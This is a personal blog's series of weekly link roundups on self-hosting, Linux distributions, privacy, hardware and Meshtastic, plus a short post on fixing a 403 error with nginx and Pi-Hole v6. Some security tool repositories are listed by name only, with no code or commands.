GitHub: crocodilestick / Calibre-Web-Automated: “Calibre-Web but Automated and with tons of New Features! Fully automate and simplify your eBook set up!”
GitHub: fccview / jotty: “Lightweight but powerful alternative for managing your personal, file based, notes and checklists.”
GitHub: rommapp / romm: “A beautiful, powerful, self-hosted rom manager and player.”
GitHub: Fantastic-Computing-Machine / atlantis: “Create beautiful charts and diagrams privately, without relying on external cloud services.”
GitHub: jsixface / ddash: “A dashboard for docker application through Caddy”
GitHub: schelskedevco / ignidash: “An open-source, AI-powered alternative to ProjectionLab for planning your long-term personal finances.”
GitHub: pineappledr / vigil: “Vigil is a modern, lightweight, and open-source server monitoring system, that provides real-time S.M.A.R.T. health tracking.”

w33k in g33k: January 16, 2026

Fri, 16 Jan 2026 17:00:00 -0400

CipherOS
https://www.raspberrypi.com/products/ai-hat-plus-2/

selh.st: Self-Host Weekly #154: Hello, My Name Is, by Ethan Sholly.

w33k in g33k: January 09, 2026

Fri, 09 Jan 2026 17:00:00 -0400

Hardware

The Pi Hut: TRMNL (OG)
- TRMNL “Recipes”
Nerds.xyz: Eve’s new Matter thermostat has me rethinking my Nest loyalty: “The pitch is simple and, frankly, refreshing: local control, no accounts, no subscriptions, and no data being siphoned off to some remote server.”
- Absolutely interested in a thermostat for all those reasons they stated in the article.
- Eve Home: Eve Thermostat

Linux

Nerds.xyz: Nitrux 5.1.0 drops as a Linux distro designed for modern hardware: This might be a distro i check out the next time I’m looking to change.
OMG Ubuntu: Bazaar Flatpak Manager Gets New Icon, Permission Warnings + More: I thought this was a different Bazarr when i saw the title, but it still looked like something useful if i was using Flatpaks anywhere.

Privacy

Lifehacker: This Free Script Disables Every AI Feature in Windows 11: Because we don’t all need AI shoved down our throats from every site, app, OS, etc.
- gitHub: zoicware / RemoveWindowsAI: “Force Remove Copilot, Recall and More in Windows 11”

Security

The Hacker News: Microsoft Warns Misconfigured Email Routing Can Enable Internal Domain Phishing: This has been ongoing for ages… but hopefully now there will be an official, “safe” fix for this kind of phishing.

selh.st: Self-Host Weekly #153: Hivemind, by Ethan Sholly.

GitHub: lklynet / hypermind: “The High-Availability Solution to a Problem That Doesn’t Exist.”
GitHub: Aletech-Solutions / Open-Atlas-Node
GitHub: jnunez2301 / jellyfin-wireless-remote
GitHub: ghobs91 / mediora
(https://selfh.st/post/plex-privacy-settings/)
(https://www.youtube.com/watch?v=CTR2z-JeTc0)
(https://www.youtube.com/watch?v=JhTEHsbQk34)
(https://danb.me/blog/2026-homelab/)
GitHub: amir20 / dozzle: v9.0.0
GitHub: DonutWare / Fladder
GitHub: maxdorninger / MediaManager
GitHub: streamyfin / streamyfin

w33k in g33k: January 02, 2026

Fri, 02 Jan 2026 17:00:00 -0400

Applications

It’s FOSS: These are the Linux Apps I Couldn’t Live Without in 2025
- Converseen: “A Batch Image Converter and Resizer Tool for Windows, Linux and macOS”
- LM Studio: “Run local LLMs like gpt-oss, Qwen3, Gemma3, DeepSeek and many more on your computer, privately and for free.”
- Packet: “Send and receive files wirelessly with Android devices using Quick Share or another device with Packet installed.”
- Btop++: “A monitor of resources”
- Calibre: “calibre is a powerful and easy to use e-book manager. Users say it’s outstanding and a must-have. It’ll allow you to do nearly everything and it takes things a step beyond normal e-book software. It’s also completely free and open source and great for both casual users and computer experts.”

Linux

It’s FOSS: CachyOS Wants to Improve Your Server Performance Now: I spent the last few weeks trying to revive \ use an old Western Digital MyCloud drive, so seeing CachyOS working on an OS for NAS got me interested.
- I’ve also been wanting to look into Arch again vs. always using Ubuntu or Linux Minut.
- It’s FOSS: CachyOS: Arch-based Distro for Speed and Ease of Use
- It’s FOSS: blendOS Aims to Replace All Linux Distributions: blendOS
It’s FOSS: 9 New Linux Distros That Could Grow Big in 2026
- AnduinOS: “AnduinOS is a custom Ubuntu-based Linux distribution that offers a familiar and easy-to-use experience for anyone moving to Linux. v1.4.1.”
- blendOS: “Arch Linux made declarative, immutable and atomic. With Android app support and Fedora, Debian, CentOS Stream and Ubuntu containers available, as well as system packages/DEs/kernels from Arch Linux and the AUR.”
- Damn Small Linux (DSL) 2024: “The New DSL 2024 has been reborn as a compact Linux distribution tailored for low-spec x86 computers. It packs a lot of applications into a small package. All the applications are chosen for their functionality, small size, and low dependencies. DSL 2024 also has many text-based applications that make it handy to use in a term window or TTY.”
- IncusOS: “IncusOS is an immutable OS solely designed around safely and reliably running Incus. It uses modern security features like UEFI Secure Boot and TPM to provide a safe boot experience and seamless full disk encryption.”
- KDE Linux: “KDE Linux is a free, open-source, user-focused operating system being built by KDE to include the best implementation of everything KDE has to offer, using the most advanced technologies. Learn more on the project’s wiki page.”
- Kazeta:
  - /r/linux_gaming: Announcing a unique new Linux gaming OS - Kazeta: “The basic idea is that you install individual DRM-free games on real physical “cartridges” which can be any external storage media, but I recommend full size SD cards because they look and feel like cartridges and can be relatively easily labelled.”
- ObsidianOS
  - A/B Partitioning: With A/B partitioning, updates are atomic. If an update fails, you can simply reboot into the previous partition, ensuring your system is always bootable.
  - Multiple bases: Enjoy the power and flexibility of Arch, Gentoo, or even Void, with the power of A/B Partitioning
  - Stable & Reliable: Built on the stability of ext4, ObsidianOS provides a reliable computing experience without the complexities of other filesystems.
- pearOS: “The greatest release of pearOS is NiceC0re. An Arch-based Linux Distro made to look different than the current pearOS versions.”
- Vanilla OS 2.0 (Orchid): “Vanilla OS 2 Orchid is the next generation of Vanilla OS. It is built on top of new technologies and features to provide you with the most secure, stable and stunning system experience.”
  - Vanilla OS 2 Orchid - Stable Release
Bunsen Labs: Carbon version of bunsen-blob is now available
- I remember using a distro from Bunsen Labs (or something that came before it?) & keep meaning to look at it again. I’m pretty sure it was back when i was trying to find lightweight OS’ for my ASUS Eee PC

selfh.st: Self-Host Weekly #152: Wrapped

Bboysoul’s Blog: Introducing My Self-Hosted Setup
LinuxServer.io: New Container: VSCodium-web: I don’t think i’ll really need to run Codium as a web app, but might take a look at it anyway.
Tech Crunch: A beginner’s guide to Mastodon, the open source Twitter alternative

w33k in g33k: December 26, 2025

Fri, 26 Dec 2025 17:00:00 -0400

Games

It’s FOSS: 13 Awesome Games Linux Users Can Grab in Steam Winter Sale 🎮 (Ends 5 January)
- I haven’t really spent that much time on games recently, but wanted to see what some of the suggestions were here.

Hardware

Lifehacker: This Wallet-Sized E-Reader Is My Tech ‘Upgrade of the Year’
- I have to get back to reading more before i can even think about some new ereader, but i figurd i would save this for a rainy day.
- Xteink X4 E-Reader

Miscellaneous

We got our nieces Tonieboxes for the holidays & when i started to lookup if you could use the Flipper with it, i went down a bit of a rabbit hole…
Gambrius Tech Blog: Toniebox Hacking – How to get started
g3gg0.de: Flipper Zero for Toniebox figurines
GitHub: toniebox-reverse-engineering: “Team RevvoX likes to tinker with the Toniebox. And you also want to start hacking around with it? Then you found the right spot for that.”

w33k in g33k: December 19, 2025

Fri, 19 Dec 2025 17:00:00 -0400

Games

Windows Central: You can now play GTA Vice City directly in your web browser — no downloads, no installs, just instant nostalgia

Linux

NERDS.xyz: Rhino Linux 2025.4 arrives: Just thought it might be a fun to play around with a new Linux distribution.
- Rhino Linux

Media

GitHub: maxdorninger / MediaManager: “A modern selfhosted media management system for your media library”
- Maybe see about an arr replacement, along with Seer?
GitHub: navidrome / navidrome: “🎧☁️ Your Personal Streaming Service”
- I’ve heard the name before, & just because i do have a ton of music that this might be an interesting tool to use with.
Lifehacker: Six Ways You Can Use an Old Chromecast (Beyond Streaming Movies and Shows)
- Keep an eye on your property
- Set up a second screen wirelessly
- Stream music, podcasts, and audiobooks
- Play some simple games
- Display photos and wallpapers
- Keep in touch

Penetration Testing

I had pre-ordered the WiFi Pineapple Pager while at DEF CON & it was just delivered this week… so this weekend I’ll be playing around with that & taking a look at the Hak5 repositories:
- Hackster.io: The Hak5 WiFi Pineapple Pager Is a Hacker’s Pentesting Dream Tool (Probably)
- GitHub: hak5 / wifipineapplepager: “Collection of WiFi Pineapple Pager Repositories”
- GitHub: hak5 / wifipineapplepager-themes: “The Official WiFi Pineapple Pager Theme Repository”
- GitHub: hak5 / wifipineapplepager-ringtones: “The Official WiFi Pineapple Pager Ringtone Repository”
- GitHub: hak5 / wifipineapplepager-payloads: “The Official WiFi Pineapple Pager Payload Repository”

Miscellaneous

GitHub: n8n-io / n8n: “Fair-code workflow automation platform with native AI capabilities. Combine visual building with custom code, self-host or cloud, 400+ integrations.”
- I’ve always kept this in mind, but still haven’t come up with a use for the automation platform.
GitHub: gamosoft / NoteDiscovery: “Your Self-Hosted Knowledge Base”
- Ethan Sholly mentioned this one ( selfh.st: My Favorite Self-Hosted Apps Launched in 2025 ) & heard it compared to Obsidian, so i wanted to add this to the list of note tools I’ve looked at or have running (i.e.: flatnotes, Glass Keep, Many Notes, Memos, Note Mark).
  - I was using SilverBullet for a while, but wasn’t a huge fan of the interface \ workflow, so I gave up on that one at least for now.
GitHub: TriliumNext / Trilium: “Build your personal knowledge base with Trilium Notes”
- I’ve looked at Trilium a few times, but never stuck with it. Maybe it’s one of those times I try it again.
GitHub: clemcer / loggifly: “Get Alerts from your Docker Container Logs”
- Maybe someting to see if it would be useful for specific errors in Docker logs.
Postgresus: “Postgresus is a free, open source and self-hosted tool to backup PostgreSQL. Make backups with different storages (S3, Google Drive, FTP, etc.) and notifications about progress (Slack, Discord, Telegram, etc.)”
- Since more than a few of my containers use Postgres databases, thought this would be good to look into for backups.
Poznote: “Poznote is a lightweight yet powerful web app for taking notes.”
- Another note app to try.
GitHub: nicotsx / zerobyte: “Backup automation for self-hosters”
- I have been trying to get Restic configured on my hosts, so just seeing the tool is based on that, it caught my interest.
Elena Rossini: A newbie’s guide to self-hosting with YunoHost. Part 2: installation & setup
It’s FOSS: What Google Photos? Self-Hosting Photo Storage with PhotoPrism Using Docker in My Homelab
- I did try PhotoPrism a few years ago, but ended up going with Immich. Maybe I’ll take another look.
Easier Than Nano! Fresh is a ‘Fresh’ New Rust-based Terminal Editor for Linux
- I usually stuck with
XDA Developers: Sendspin is ESPHome’s answer to Sonos-style multi-room audio
Docker Blog: A Safer Container Ecosystem with Docker: Free Docker Hardened Images
- I wonder if we’ll start to see some more containers use this as a base, so thought it would be interesting to read into.

selh.st: Self-Host Weekly #150: Watchtower No More, by Ethan Sholly

I guess my timing of moving to Komodo from Portainer with Watchtower was pretty good with Watchtower now being archived…
- Ethan also linked to his Self-Hosted Apps and Alternatives page for anyone looking for Watchtower replacements.
GitHub: gamosoft / NoteDiscovery: " Your Self-Hosted Knowledge Base"
- I installed this last week or earlier this week & wanted to see how i liked it. I believe someone mentioned it as an open source Obsidian (or using that for influence) so i am giving it a try. For now I’m mostly storing some config files & templates, but it seems nice so far.
Poznote: “Poznote is a lightweight yet powerful web app for taking notes.”
- I have this listed above, but since it’s on the Self-Host Weekly, it makes me want to look into it more.
GitHub: chrisbenincasa / tunarr: “Create a classic TV experience using your own media - IPTV backed by Plex/Jellyfin/Emby”
- I thought this looked interesting with the different media i have in Plex & Jellyfin.
GitHub: Mahcks / blockbusterr: “Automatically add trending, popular, and highly-rated movies and TV shows from Trakt.tv to your Radarr and Sonarr instances.”
- Seemed interesting. I at least wanted to dig into it.
GitHub: Kellojo / Modular-Homelab-Dashboard: “Allows you to quickly setup a dashboard/entry point for your homelab. It provides a customizable interface allowing you to display various metrics, system statuses, and other information from your homelab services.”
- I am still using Homepage but wanted to look at this.
GitHub: rthaines211 / MylarMobile: “Mylar3 Mobile PWA”
- Not that i have looked at my Mylar3 container in a while, but maybe some motivation to check \ work on that.
GitHub: connorgallopo / Tracearr: “Tracearr is a streaming access manager for Plex, Jellyfin and Emby servers. It answers the question every server owner eventually asks: “Who’s actually using my server, and are they sharing their login?””
- I must have thought this was for something else when I saved it, because i already know no one with access really connects to my Plex =]
GitHub: rhizomatics / updates2mqtt: “Automated checks and optional upgrades of packages via MQTT with Home Assistant compatibility”
- I need to get back into Meshtastic, MQTT, & leveraging it with Home Assistant. Hopefully over the holidays i will get some time.
GitHub: julienhmmt / vcv: “VaultCertsViewer is a Go application to list and manage certs in Vault, the easiest possible for SRE.”
- I’m still using & happy with Step-CA but wouldn’t mind something that’s a little easier to manage certs (not that Step-CA is bad at all).
GitHub: getmydia / mydia: “Your personal media companion, built with Phoenix LiveView”
- I believe this is an alternative to Plex or Jellyfin.
GitHub: scanopy/scanopy: “Clean network diagrams. One-time setup, zero upkeep.”
- It would be very nice to have a network overview without writing out or trying to maintain a text or spreadsheet with all the details…

w33k in g33k: December 05, 2025

Fri, 05 Dec 2025 17:00:00 -0400

selh.st: Self-Host Weekly #147: Ad-Free, by Ethan Sholly

I didn’t get a chance to make my weekly post with the holiday last week, so these were a few of the projects I had saved from Ethan’s post.
GitHub: tokendad/NesVentory: “NesVentory is a modern home inventory management application that helps you track and organize your household items, their locations, warranties, and maintenance schedules.”
- I may not do anything with this, but with being a new homeowner, part of me at least wants to take a look & see if this would be beneficial.
GitHub: gelatinescreams/The-One-File: “In the end there can only be “The ONE File”, your portable, immortal network topology maker for when everything else goes down.”
- I really wish I could get NetAlertX working again, but for now I’ve just been using WatchYourLAN to monitor network devices.
GitLab: dbrc-grp/training-journal: “A modern, self-hosted workout tracking application built with PHP, JavaScript, and CSS. Track your exercises, manage training sessions, and monitor your fitness progress with an intuitive drag-and-drop interface.”
- Maybe motivation to workout more.
GitHub: venkyr77/jellarr: “Declarative configuration engine for Jellyfin — apply and sync server settings from YAML via the Jellyfin API.”
GitHub: OrwellianEpilogue/ephemera: “Search and download books from your girl’s favorite archive. Includes a request system to auto-download books once they’re available. Supports auto-move to a BookLore or Calibre-Web-Automated ingest folder or BookLore API upload.”
GitHub: karanhudia/borg-ui: “Replace complex Borg Backup terminal commands with a beautiful web UI. Create, schedule, and restore backups with just a few clicks.”

Games

Engadget: You can now play Command & Conquer: Red Alert 2 in your browser: “The Chrono Divide project (via PC Gamer) lets you play the 2000 RTS in Chrome, Edge, or Safari. Although it supports Firefox, too, its developer says it should be avoided if you want “good performance.” It even works in mobile browsers.”
9to5 Google: Someone ported the iconic pinball game from Windows XP to Android, and it’s free
Dreams (PlayStation): Banjo-Kazooie: Mumbomania: “Mumbo joins the bear and bird in this buddy-trio collectathon adventure. Mysteriously disembodied, Mumbo can float freely to help Banjo and Kazooie fight, collect, and transform!”
Boing

Health

It’s FOSS: This Open Source Android App Fights Brainrot With Basic Math Problems
- Mental Math

IT Security

GitHub: SaadAhla / Anti-Sandbox: “Detecting AnyRun sandbox, and more is coming out in the future.”
- I forget where I came across this (Mastodon or BlueSky?) but it was mentioned that it was created because of AnyRun’s Russian ownership? At the very least I wanted to dig into that part of this.
GitHub: yo-yo-yo-jbo / commandline_spoofing: “Commandline spoofing on Window”
- I work in IT Security, so this caught my interest for that reason & I like using & learning more about PowerShell.
xbz0n@sh: Living Off the Land: Windows Post-Exploitation Without Tools
- Saved this because IT Security
GitHub: arosenmund / defcon33_silence_kill_edr
GitHub: secmon-lab / warren: “AI-powered security alert management that reduces noise and accelerates response time”
The Sequence: Shai-Hulud 2.0: Inside the NPM Supply Chain Worm
- I have been looking into this recently for work, so thought i would give this a read.

Linux

It’s FOSS: ObsidianOS Review: A New, Innovative Linux Distro Built Around A/B Partitioning: “The idea to rollback via two root partitions is interesting. This is certainly not your regular rethemed Arch distro.”
- I just thought a new OS might be something fun to play with on a spare device.
It’s FOSS: Open Source Never Dies: 11 of My Favorite Linux Apps That Refused to Stay Dead: “These Linux apps were popular once. And then they were abandoned. And then they came back with a new generation tag.”
- Always curious to see what apps \ tools others run & if they would be a good fit for my usecases.
Ubergizmo: Free App Enables AirPods Features On Android And Linux
- GitHub: kavishdevar / librepods: “AirPods liberated from Apple’s ecosystem.”
- OMG Ubuntu also had a post about this app: Use AirPods Pro Features on Linux with LibrePods

Privacy

Infosec.Pub: Manufacturer issues remote kill command to disable smart vacuum after engineer blocks it from collecting data — user revives it with custom hardware and Python scripts to run offline
- Tom’s Hardware: Manufacturer issues remote kill command to disable smart vacuum after engineer blocks it from collecting data — user revives it with custom hardware and Python scripts to run offline

Self-Hosted

Benjamin Tseng: Backup Your Home Server with Duplicati
- This is what a friend of mine is using for backups & I’m starting to look into. Originally i was doing Borg
- I may be looking into Restic too
マリウス: Be Your Own Privacy-Respecting Google, Bing & Brave
- I’ve looked into SearXNG a few times over the years but never really sat down with it. I may start looking at it again though.
GitHub: tokendad/NesVentory: “NesVentory is a modern home inventory management application that helps you track and organize your household items, their locations, warranties, and maintenance schedules.”
GitHub: gelatinescreams/The-One-File: “In the end there can only be “The ONE File”, your portable, immortal network topology maker for when everything else goes down.”
GitLab: dbrc-grp/training-journal: “A modern, self-hosted workout tracking application built with PHP, JavaScript, and CSS. Track your exercises, manage training sessions, and monitor your fitness progress with an intuitive drag-and-drop interface.”
GitHub: venkyr77/jellarr: “Declarative configuration engine for Jellyfin — apply and sync server settings from YAML via the Jellyfin API.”
GitHub: OrwellianEpilogue/ephemera: “Search and download books from your girl’s favorite archive. Includes a request system to auto-download books once they’re available. Supports auto-move to a BookLore or Calibre-Web-Automated ingest folder or BookLore API upload.”
GitHub: karanhudia/borg-ui: “Replace complex Borg Backup terminal commands with a beautiful web UI. Create, schedule, and restore backups with just a few clicks.”
Infosec.Pub: Favorite Self-Hosted Tools in 2025 (Looking for More Suggestions!)
Infosec.Pub: Pixelix
- F-Droid: Pixelix: “Pixelix provides a smooth and intuitive interface for interacting with Pixelfed, the federated image-sharing social network. Designed with user experience in mind, Pixelix makes it simple to connect to your Pixelfed instance, upload photos directly from your device, and browse through your feed with ease. Whether you’re a seasoned Pixelfed user or just getting started, Pixelix offers a streamlined way to share and discover visual content.”
GitHub: HonKLam / Dynos: “Third-Party & offline-first App for @usememos for iOS & Android”
GitHub: ANGulchenko / whatmade: “Whatmade is a Linux daemon that monitors user-specified directories and records which process created each file.”

Miscellaneous

It’s FOSS: Not Every Browser is Built on Chrome: Explore These Firefox-based Options
- I’ve been seeing a few people complaining about the way Firefox is going, the AI features being added, etc, so I wanted to see what non-Chromium browsers are options if i switch from Firefox.
- Hack A Day: So Long, Firefox, Part One
- Hack A Day: So Long Firefox, Hello Vivaldi
Gimodo: Google Home Users Are Trying to Hack Their Way to a Better Voice Assistant: “People are desperate to get the Gemini for Home upgrade on their Google-made smart speakers.”
- When I saved this i thought it was modifying something with the device, not just trying to get Gemini for Home on there.
- “According to Redditor u/Siciliano777, typing “googlehome://assistant/voice/setup” into the address bar in Chrome actually brings up the options to enable Gemini for Home on your personal Google devices.”
- /r/GoogleHome: (Updated) force Gemini for home
Gizmodo: Christina Chong Has a Wild Idea for a ‘Doctor Who’ and ‘Star Trek: Strange New Worlds’ Crossover: “Lorna Bucket is the key to all this. Naturally.”
- I may hold off on actually reading this to not get spoilers (pretty behind on Doctor Who & Strange New Worlds), but interested me as a fan of both shows.
Lifehacker: The Best Journal Apps to Use Instead of Your Phone’s Built-In Option: “There are better third-party apps out there.”
- Saved this before reading… just hoping it’s not going to be a glorified “sponsored” post that’s just going to say to use paid alternatives, even if they are the same or barely better than builtin options.
- The built-in options
  - Journal by Apple

Let’s start with Journal by Apple, launched in December 2023. It’s fair to say there haven’t been a ton of updates released for the app since then, but all of the essentials are covered: Your journal entries can combine text, photos, videos, audio, locations, and sketches, and you can even set up multiple journals for different purposes.

w33k in g33k: November 14, 2025

Fri, 14 Nov 2025 17:00:00 -0400

Android

Lichtmetzger Design & Technik: Rooting the Unihertz Titan 2 and installing Magisk
- I was just looking for how to enable developer mode for the device (must have been tapping the wrong “Build Number” field) & one of the first results was about getting root & Magisk installed. I don’t plan for this to be my daily driver phone, but may end up doing the root \ Magisk for fun.

Privacy

EFF: The Legal Case Against Ring’s Face Recognition Feature

Self-Hosting

Likely do to something I did… I had some issues with one of my “servers” running a few Docker containers, storing their data on an external drive. Long-story-short, I wiped the drive forgetting I had other containers saving data there too (Nextcloud was what had the issue but Immich & DailyTxT were on there too).
- After getting Nextcloud setup again (I honestly forget what issue I had in the first place that made me start that one from scratch), I ended up doing the same for Immich & restored a backup I had for DailyTxT.
Another issue I had (might have been related to above) was my Portainer service on the same host lost my compose files. I don’t believe it was storing data on the external drive that I wiped, but I guess that would explain the issue.
- I ended up having to use docker inspect to find what information I could, combine that with the recommended docker-compose files, & got that all up & running again. Of course now I’ve made sure I save those compose files more often & in multiple places.
- This is why I started looking into Komodo, because I believe I read that it should be able to backup the compose files, & manage multiple hosts. I never really got that part of Portainer setup.
- So for now, I am slowly deploying out Komodo to see if I want to replace Portainer with it. Right now I’m just trying to see how I can get Komodo to create stacks on a remote host, but that is running rootless Docker, & as soon as I figure that out, I will start moving more management there. And also double checking all my backups to make sure that when i make a mistake & lose something again, it won’t be that big of a deal 🙃
To not have to worry about losing notes in one container, I am testing a few out again to see which other(s) I might want to run alongside Nextcloud Notes. I’ve saved a few over the last few months, so just grabbed some of those to run.
- flatnotes
- Glass Keep: I was already running this & just plan for it to be little notes, not posts I make here or more involved things.
- Joplin: Again, was already running this but wasn’t using it for site posts, which has been the main focus of Nextcloud notes for me recently.
- Many Notes
- Note Mark
It’s not necessarily for note taking, but I think SelfH.st mentioned Journiv last week, so I’m trying that out alongside DailyTxT just as another backup.

selh.st: Self-Host Weekly #145: Agentic, by Ethan Sholly

It looks like Ethan has a lot of things I’ll be looking into this weekend…
Ars Technica: Google will let Android power users bypass upcoming sideloading restrictions
GitHub: henrygd / beszel: “Lightweight server monitoring hub with historical data, docker stats, and alerts.”
GitHub: fccview / cronmaster: “Cron management made easy”
GitHub: damongolding / immich-kiosk: “Highly configurable slideshows for displaying Immich assets on browsers and devices.”
- I always mix up if my Frameo frame is using this or ImmichFrame: “An awesome way to display your photos as a digital photo frame”. So it does look like it’s actually ImmichFrame I am using there. I am still running the Kiosk for whatever reason as well…
GitHub: rcourtman / Pulse: “A responsive monitoring platform for Proxmox VE, PBS, and Docker with real-time metrics across nodes and containers”
- I am still getting settled with Komodo, but still wanted to checkout other monitoring \ dashboard services.
GitHub: rommapp / romm: “A beautiful, powerful, self-hosted rom manager and player.”
- Eventually after putting this on my weekly list repeatedly, I will remember \ get to trying this out.
GitHub: bscott / subtrackr: “Self-hosted Subscription Tracker”
- Over the last week or two I was having to setup my Nextcloud instance from scratch, which was where I had a lot of my financial \ bill calendar entries, so just thought something dedicated might be worth looking at, just-in-case.
GitHub: mvfc / backvault: “Docker container to backup Bitwarden/Vaultwarden vaults to password protected json files”
- Right now I just have a scheduled script that is backing up my Vaultwarden directory, so this might be a better option.
GitHub: sbcrumb / chronarr: “Comprehensive date and chronology management for Radarr and Sonarr”
- I haven’t really been using my Radarr or Sonarr, but may still take a look at this to get into them again.
GitHub: kikootwo / LibraryDownloadarr: “LibraryDownloadarr is a modern, self-hosted web application that provides a beautiful interface for downloading media from your Plex Media Server.”
- I am trying to get Jellyfin working in more places (issues on my AppleTV’s), but i am still currently using Plex quite a bit.
GitHub: getmydia / mydia: “Your personal media companion, built with Phoenix LiveView”
- I saved this since it was noted as a Radarr or Sonarr alternative.
GitHub: icbestCA / giftmanager: “Gift ideas manager for families.”
- This jumped out just because of the time of year, so wanted to look into it.
GitHub: mayanayza / netvisor: “Automatically discover and visually document network infrastructure.”
- I wanted to look into this instead of trying to document my network in Draw.io or just a spreadsheet…
GitHub: fscorrupt / Posterizarr: “🖼️ Automated poster maker for Plex/Jellyfin/Emby.”
- I have some libraries & other content that might benefit from a tool like this.

w33k in g33k: October 17, 2025

Fri, 17 Oct 2025 17:00:00 -0400

Automation

$13 voice assistant for Home Assistant: Since I’m trying to focus more on setting up HomeAssistant, I was trying to see what people use for voice assistants & came across this article. I ordered a couple of the ATOM Echo Smart Speaker Development Kits so I can see how that works out.

Miscellaneous

PiCockpit: Raspberry Pi 5 has a Real-Time Clock. So What?: Since I’m running Pi-Hole on a Raspberry Pi 5 now, & that it also setup as an NTP server, I’m hoping this might help the device itself & rest of the network when the host goes down.
- Raspberry Pi Documentation: Real Time Clock (RTC)
crontab guru: As I’ve been working with cron more for things like NetAlertX & since it’s been a while since I worked with cron so i forgot syntax, this site has always been useful.

Security

Yanko Design: Flipper One Rumors Suggest a Pocket Computer With ‘Hacking Tools’ That Governments Can’t Ban

Self-Host Weekly (17 October 2025), by Ethan Sholly

William Elimbi: My Personal Digital Library with Z-Library, Telegram, Syncthing and OPDS: I’m curious to see other eBook setups since i haven’t really managed mine & need to see about Calibre, calibre-web, BookLore, etc.
- And funny enough, it looks like BookLore has a new release: v1.7.0
GitHub: agregarr / agregarr: “Agregarr is a Plex Collections manager that keeps your Home and Recommended fresh by frequently updating it with collections from various sources”
GitHub: serversinc / docker-backup: “A CLI tool for backing up Docker instances; Containers, Networks, Images, Volumes”
GitHub: FoxxMD / docker-proxy-filter: “Filter the contents of Docker API responses”
- I just got Docker setup again on one of my hosts to sync my two Pi-Holes, & for monitoring & management, I also have Homepage & Portainer connecting to the Docker API. It’s all protected via client certificates, but still curious on this.
GitHub: saihgupr / HomeAssistantTimeMachine: “Home Assistant Time Machine is a web-based tool that acts as a “Time Machine” for your Home Assistant configuration.”
- Probably a good idea for when i inevitably break my Home Assistant install \ config.
GitHub: MatiasDesuu / ThinkDashboard: “A lightweight, self-hosted bookmark dashboard with keyboard shortcuts.”
- I’m using Homepage, but maybe this would be a nice alternative if I quickly want a bookmark vs. the live data I can get from Homepage.
GitHub: iongpt / boxarr: “Boxarr is an automated box office tracking application that integrates with Radarr to monitor, add, and manage the latest theatrical releases. It provides a beautiful dashboard showing the current box office top 10, their status in your Radarr library, and allows quality profile management.”
GitHub: Termix-SSH / Termix: “Termix is a web-based server management platform with SSH terminal, tunneling, and file editing capabilities.”
- I can’t remember if this is something i tried before, but may look at it again.
- Termux Docs

nginx with Pi-Hole v6

Tue, 14 Oct 2025 08:12:00 -0400

After having issues with my Raspberry Pi 4, 4GB Pi-Hole last week, I just picked up a 5 to replace it, assuming it was the hardware. Overall the cutover was straight-forwarded, I had done some prep work with packages, configs, etc before cutting anything over, then last night I actually took the jump.

Again, for the most part, it was all smooth. Thie biggest headache i ran into was getting the Pi-Hole web interface working with nginx… I have 2 Pi-Hole’s, so i was able to use the nginx from my secondary as a reference, & tried using that for the primary. Just a few hours of “403 Forbidden” errors when trying to browser to the domain.tld/admin. For the hell of it, just trying to keep the …/sites-enabled/ directory clean i deleted the default nginx config… that fixed my issue 😑. So if anyone else (or i) run into this issue again… just make sure the default nginx config file is no longer in place. Magic!

w33k in g33k: October 10, 2025

Fri, 10 Oct 2025 17:00:00 -0400

Android

Dev.to: What to do with a Surface Duo in 2025: I know i started looking into a newer Android version for my Surface Duo, but don’t think i did anything about it. So now i’m looking into it again.
- GitHub: Archfx / duo-de: “Surface Duo Dual Experience ( 🍰 AOSP | Android 16 | DUO1 | DUO2 )”

Games

WCCFTech: Hades 2 Weapons Tier List Guide: I haven’t played Hades 2 yet, but it was something i saved for later reading.

Hardware

FuriLabs: FLX1s: “The FLX1s from Furi Labs runs a fully optimized Linux system called FuriOS, packing a lightning fast user interface, 3 hardware switches for microphone, camera and modem/gps, and a privacy centric approach like no other.”
- It’s FOSS: This $550 Linux Phone Has Kill Switches That Protect Your Privacy
- Yanko Design: This Linux phone with Android app support has three kill switches for complete privacy
Hack A Day: Trapped Soul In Time For Halloween: I might have already added this to last week’s post, but i thought it was interesting so i’m adding it (again).

Privacy

XDA: I tried many Pi-hole tweaks, and here are the 5 that actually made a difference
- I thought i lost my blocklists for Pi-Hole & came across this when digging into what lists I wanted to put back. I thought it might have some interesting items to look into.
- “Using well-curated blocklists pays off”
- “Enabling DNSSEC improved privacy and trust”
- “Blocking known malware and phishing domains”
- “Setting up Pi-hole as the network’s only DNS resolver”
- “Adding a local DNS entry for my home services”
- Reading through these… i wouldn’t consider these tweaks… they’re just additional features that Pi-Hole has. So maybe not as useful as I was expecting.
GitHub: yaelwrites / Big-Ass-Data-Broker-Opt-Out-List: “This list, also known as BADBOOL, was started in September 2017 and was most recently updated on September 30, 2025 to remove CocoFinder, as the Google form included to opt out was removed by Google due to alleged terms of service violations. Once there is a way to opt out, it will be re-added.”

Meshtastic

Since I’ve been trying to do more with Meshtastic & notifications (ntfy, Gotify, Apprise) & can use just a simple Discord server as the destination, i was planning to checkout these projects that were mentioned in the nyme.sh
- GitHub: baymesh / rage-against-the-meshine
- GitHub: axlixr / Meshtastic-to-Discord-bridge
- GitHub: Kavitate / Meshtastic-Discord-Bot
Chicagoland Mesh: MQTT: Mistakes to Avoid
- GitHub: meshtastic / antenna-reports: “Community-contributed antenna testing reports and evaluations for Meshtastic devices.”
Chicagoland Mesh: Setting up MQTT for your node
adrelien: How To Host Your Own MQTT For Your Meshtastic Nodes
Meshtastic: Local Groups
- United States
Meshtastic Australia: Crash Course
MichMesh: Getting Started
MichMesh: nstallation and configuration of the Mosquitto MQTT server
/r/meshtastic: MQTT etiquette

Miscellaneous

It’s FOSS: How I am Using Git and Obsidian for Note Version Management: I’m still mainly using Joplin for notes, but do have Obsidian as well. I think I’ve more been using it as a backup for content I keep in DailyTxT.
- I am still super excited for when DailyTxT 2.0 will be released as well.
Nextcloud Forums: How to edit Nextclouds config.php file with a texteditor?: I honestly forget what issue i ran into with my Nextcloud install where i needed to edit the config file, but since I’m running it in a Docker container, i was looking for this info to fix my problem.
GitHub: Loosetooth / syncwings: “SyncWings is self-hosted software that lets you sync files between multiple devices and manage them easily through a web-based file manager. Supports multiple users on a single server.”
/r/SelfHosted: Syncthing Homepage Widget
https://docs.syncthing.net/dev/rest.html
Pi-Hole Discourse: Pihole 6 (upgraded from v5) fails regulary seems to related to sqlite3 error
